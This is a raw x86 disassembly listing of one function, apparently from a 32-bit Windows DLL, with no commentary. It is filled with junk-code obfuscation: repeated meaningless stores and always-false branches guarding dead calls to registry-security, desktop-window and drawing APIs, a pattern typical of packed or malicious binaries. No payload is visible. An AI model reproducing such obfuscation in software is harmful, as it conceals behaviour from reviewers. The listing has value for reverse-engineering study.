call fcn.10018383
xor eax, eax
mov dword [ebp - 0x34], 0x8c176b0f
lea ecx, [ebp - 0xdcc]
mov dword [ebp - 0x34], eax
push 0xfffffffffffffffa
mov dword [ebp - 0x34], 0xfffffffd
pop eax
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], eax
push 2
pop eax
mov dword [ebp - 0x34], 0x5d811f07
mov dword [ebp - 0x34], 0x2a2b3b7b
push eax
call fcn.1001831b
push ebx
lea ecx, [ebp - 0xbb4]
mov dword [ebp - 4], 0x11
call fcn.1001831b
push 3
pop edi
push edi
lea ecx, [ebp - 0xa7c]
mov byte [ebp - 4], 0x12
call fcn.1001831b
xor eax, eax
mov byte [ebp - 4], 0x13
push 2
mov dword [ebp - 0x18], eax
pop esi
cmp dword [ebp - 0x18], esi
jge 0x100337bf
push dword [ebp - 0x18]
lea ecx, [ebp - 0xdcc]
call fcn.10018388
push 2
mov dword [eax], 0xcabfc393
inc dword [ebp - 0x18]
pop eax
cmp dword [ebp - 0x18], eax
jl 0x1003379e
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x100337e5
push dword [ebp - 0x18]
lea ecx, [ebp - 0xbb4]
call fcn.10018388
mov dword [eax], 0x9d08
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x100337c7
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x10033808
push dword [ebp - 0x18]
lea ecx, [ebp - 0xa7c]
call fcn.10018388
and dword [eax], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x100337ed
xor eax, eax
push eax
lea ecx, [ebp - 0xbb4]
call fcn.10018388
lea ecx, [ebp - 0xa7c]
inc dword [eax]
xor eax, eax
push eax
call fcn.10018388
lea ecx, [ebp - 0xa7c]
dec dword [eax]
call fcn.10018383
lea ecx, [ebp - 0xbb4]
call fcn.10018383
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xdcc]
call fcn.10018383
push 2
pop eax
mov dword [ebp - 0x40], 0xffffffff
lea ecx, [ebp - 0xee0]
push eax
call fcn.1001831b
mov dword [ebp - 4], 0x14
xor eax, eax
mov dword [ebp - 0x34], 0x29b
mov dword [ebp - 0x48], 0xbafcb143
push 2
mov dword [ebp - 0x24], eax
pop esi
cmp dword [ebp - 0x24], esi
jge 0x100338a4
push dword [ebp - 0x24]
lea ecx, [ebp - 0xee0]
call fcn.10018388
push 2
mov dword [eax], 0xdb58e469
inc dword [ebp - 0x24]
pop eax
cmp dword [ebp - 0x24], eax
jl 0x10033883
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x100338c4
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xe50], 0x7f0a290b
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x100338ac
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x100338d6
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
inc dword [ebp - 0x48]
lea ecx, [ebp - 0xee0]
or dword [ebp - 4], 0xffffffff
call fcn.10018383
mov edi, dword [sym.imp.USER32.dll_GetDC]
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x30], 0xb9f9b319
mov dword [ebp - 0x4c], 0x6923607a
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xc
jge 0x10033a8e
mov dword [ebp - 0x1c], 0x54a
mov dword [ebp - 0x20], 0x5fd0a320
mov dword [ebp - 0x2c], 0xdbaf9eb1
push 3
mov dword [ebp - 0x24], eax
pop ecx
cmp dword [ebp - 0x24], ecx
jge 0x10033942
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xa94], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1003392e
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10033958
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x2c4], 0xbbd4aa41
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10033947
mov eax, dword [ebp - 0x1c]
inc dword [ebp - 0x1c]
test eax, eax
je 0x100339a6
mov eax, dword [ebp - 0xa94]
xor edx, edx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x2c4]
mov eax, dword [ebp - 0x4c]
cmp eax, ecx
mov eax, dword [ebp - 0x30]
setne dl
imul eax, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
add eax, 9
cmp eax, 0x17a9
jge 0x100339a3
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x100339a3
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x4c]
mov ecx, 0xb0ceafd
sub ecx, eax
xor eax, eax
push 2
mov dword [ebp - 0x2c], ecx
pop edx
mov dword [ebp - 0x4c], edx
cmp dword [ebp - 0x4c], eax
jl 0x10033a7e
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp + eax*4 - 0xa94]
mov eax, dword [ebp - 0x4c]
add ecx, 0x885b
mov eax, dword [ebp + eax*4 - 0xa94]
neg eax
cmp eax, ecx
jg 0x10033a5e
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x10033a17
push 0x2b5
push 0x1e95
push 0x18b
push 0x551
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
push 2
xor eax, eax
pop edx
mov dword [ebp - 0x1c], eax
jmp 0x10033a57
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jg 0x10033a54
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x2c4], 0
jne 0x10033a52
mov dword [ebp - 0x20], edx
xor eax, eax
cmp dword [ebp - 0x20], eax
jl 0x10033a4a
mov dword [ebp - 0x48], 0xffffffff
mov dword [ebp - 0x48], eax
dec dword [ebp - 0x20]
jns 0x10033a3b
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], eax
jle 0x10033a24
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x10033a1c
jmp 0x10033a72
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x10033a72
push eax
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
dec dword [ebp - 0x4c]
push 2
pop edx
jns 0x100339c4
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xc
push 0
pop eax
jl 0x1003390e
mov dword [ebp - 0x48], 0xcce005ab
mov dword [ebp - 0x24], 0xf1124f01
mov dword [ebp - 0x10], 0xfffffff6
mov dword [ebp - 0x50], 0xd3ec93cc
mov dword [ebp - 0x30], 0x4a2c6eb8
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10033ad0
push eax
push eax
push 0x1dd
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffe2
push 0xfffffffffffffff8
pop edx
jne 0x10033b9f
jmp 0x10033ae4
xor eax, eax
mov dword [ebp - 0x20], 0xd83d7839
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x2c], 0x4f68993d
mov dword [ebp - 0x50], 0x41adf890
mov dword [ebp - 0x50], 4
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10033b16
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x50], 0x76d238e4
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x10033b49
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x24]
jne 0x10033b50
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x48], eax
je 0x10033b52
mov ecx, ebx
xor eax, eax
cmp ecx, 0x101aedf4
push 0xfffffffffffffff8
setl al
xor ecx, ecx
cmp eax, 0x9612
mov eax, dword [ebp - 0x48]
setne cl
cmp edx, ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp eax, ecx
setle dl
xor ecx, ecx
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
cmp eax, edx
pop edx
setle cl
add ecx, dword [ebp - 0x30]
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x50], eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffe2
je 0x10033ae2
push 2
pop eax
push eax
lea ecx, [ebp - 0xbc]
call fcn.1001831b
mov dword [ebp - 4], 0x15
mov eax, 0x656540f2
mov dword [ebp - 0x54], 0x77e815f8
mov dword [ebp - 0x30], 0x90ae7359
mov dword [ebp - 0x10], 0xb45beac3
mov dword [ebp - 0x624], eax
mov dword [ebp - 0x620], eax
mov dword [ebp - 0x61c], eax
mov dword [ebp - 0x618], eax
mov dword [ebp - 0x1c], 0x71e9942c
push 5
pop eax
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x48], 0xca2468f5
mov dword [ebp - 0x48], 0xc4895d34
mov dword [ebp - 0x10], eax
jmp 0x10033c1a
push dword [ebp - 0x10]
call fcn.10018388
mov dword [eax], 0x63e3
inc dword [ebp - 0x10]
push 2
pop eax
lea ecx, [ebp - 0xbc]
cmp dword [ebp - 0x10], eax
jl 0x10033c09
push ebx
call fcn.10018388
xor ebx, ebx
cmp dword [eax], ebx
jne 0x10033cef
xor eax, eax
lea ecx, [ebp - 0xbc]
inc eax
push eax
call fcn.10018388
cmp dword [eax], ebx
jne 0x10033c63
xor eax, eax
lea ecx, [ebp - 0xbc]
inc eax
push eax
call fcn.10018388
cmp dword [eax], ebx
jne 0x10033c63
xor eax, eax
inc ebx
jmp 0x10033c68
xor ebx, ebx
inc ebx
mov eax, ebx
push 6
pop esi
cmp esi, eax
lea ecx, [ebp - 0xbc]
sbb eax, eax
neg eax
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
xor eax, eax
push eax
call fcn.10018388
mov ecx, dword [ebp - 0x54]
xor edx, edx
test ecx, ecx
setg dl
cmp dword [eax], edx
jge 0x10033ca8
push ebx
lea ecx, [ebp - 0xbc]
call fcn.10018388
cmp dword [eax], 0
je 0x10033ca8
mov esi, ebx
jmp 0x10033cac
xor eax, eax
mov esi, eax
push ebx
lea ecx, [ebp - 0xbc]
call fcn.10018388
lea ecx, [ebp - 0xbc]
sub esi, dword [eax]
neg esi
sbb esi, esi
xor eax, eax
push eax
inc esi
call fcn.10018388
xor ebx, ebx
lea ecx, [ebp - 0xbc]
cmp esi, dword [eax]
setg bl
xor eax, eax
inc eax
push eax
call fcn.10018388
mov ecx, dword [ebp - 0x30]
sub ebx, ecx
cmp ebx, dword [eax]
jg 0x10033cef
mov eax, dword [ebp - 0x54]
xor eax, eax
lea ecx, [ebp - 0xbc]
push eax
call fcn.10018388
mov dword [ebp - 0x10], 0xffffc422
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x624], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x48], eax
xor eax, eax
push 3
pop esi
cmp dword [ebp - 0x48], eax
je 0x10033d2c
mov dword [ebp - 0x48], 0xc8c5cecc
dec dword [ebp - 0x48]
jmp 0x10033e98
mov dword [ebp - 0x2c], 0xa1265296
mov dword [ebp - 0x48], 0xaf205a4a
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], esi
jg 0x10033e98
xor ebx, ebx
inc ebx
mov dword [ebp - 0x24], 0xfffffffb
lea ecx, [ebp - 0xbc]
push ebx
mov dword [ebp - 0x48], 0xffffffff
call fcn.10018388
cmp dword [eax], 0
je 0x10033e38
xor eax, eax
mov dword [ebp - 0x20], 0xeeda7da9
mov dword [ebp - 0x10], eax
jmp 0x10033d8b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1268], 4
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10033d7a
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0xbc]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
push ebx
call fcn.10018388
xor ebx, ebx
cmp dword [eax], ebx
mov eax, dword [ebp - 0x30]
setne bl
mov dword [ebp + eax*4 - 0x624], ebx
mov ecx, dword [ebp - 0x1268]
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x24]
imul ecx, eax
mov eax, dword [ebp - 0x54]
neg eax
add edx, ecx
xor ecx, ecx
cmp eax, edx
setge cl
xor eax, eax
mov dword [ebp - 0x10], ecx
inc eax
push eax
lea ecx, [ebp - 0xbc]
call fcn.10018388
mov ecx, dword [ebp - 0x10]
xor edx, edx
push 3
cmp ecx, dword [eax]
setl dl
xor eax, eax
inc eax
cmp edx, eax
mov eax, dword [ebp - 0x2c]
sbb esi, esi
xor edx, edx
inc esi
cmp eax, ebx
mov eax, dword [ebp - 0x2c]
setne dl
xor ecx, ecx
cmp esi, eax
pop esi
sete cl
xor eax, eax
cmp edx, ecx
setle al
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
dec eax
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
sbb eax, eax
xor ebx, ebx
neg eax
inc ebx
jmp 0x10033e89
xor eax, eax
mov dword [ebp - 0x50], 0x82fb3486
mov dword [ebp - 0x48], eax
xor edx, edx
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
mov eax, dword [ebp - 0x48]
setle dl
xor ecx, ecx
cmp eax, 0x286e0dae
setne cl
xor eax, eax
cmp ecx, edx
mov ecx, dword [ebp - 0x50]
setne al
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setge dl
xor ecx, ecx
add edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
cmp edx, eax
setle cl
xor eax, eax
cmp ecx, 7
setl al
mov dword [ebp - 0x48], eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jle 0x10033d49
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1c]
je 0x10033eae
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x10033eb0
xor ebx, ebx
inc ebx
mov ecx, ebx
jmp 0x10033eb5
xor eax, eax
xor ebx, ebx
mov ecx, eax
inc ebx
mov eax, dword [ebp - 0x54]
sub eax, 0xbc0a
sub eax, ecx
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x624]
test eax, eax
jne 0x10033ed2
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x618]
xor ecx, ecx
cmp eax, 0xffffffff
push ebx
setne cl
mov dword [ebp - 0x54], ecx
lea ecx, [ebp - 0xbc]
call fcn.10018388
mov ecx, dword [ebp - 0x54]
xor edx, edx
cmp ecx, dword [eax]
lea ecx, [ebp - 0xbc]
setle dl
mov dword [ebp - 0x48], edx
or dword [ebp - 4], 0xffffffff
call fcn.10018383
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10033f23
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1464], 0x7a81a82e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10033f12
push esi
lea ecx, [ebp - 0x470]
call fcn.1001831b
mov dword [ebp - 4], 0x16
mov dword [ebp - 0x10], 0xccb03629
mov dword [ebp - 0x20], 0xd21dfe4b
mov dword [ebp - 0x48], 0xa8afc1da
push 8
pop eax
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x10033f83
push dword [ebp - 0x18]
lea ecx, [ebp - 0x470]
call fcn.10018388
and dword [eax], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10033f68
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x10033fa3
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x884], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10033f8b
push 2
mov dword [ebp - 0x18], eax
pop ecx
jmp 0x10033fbc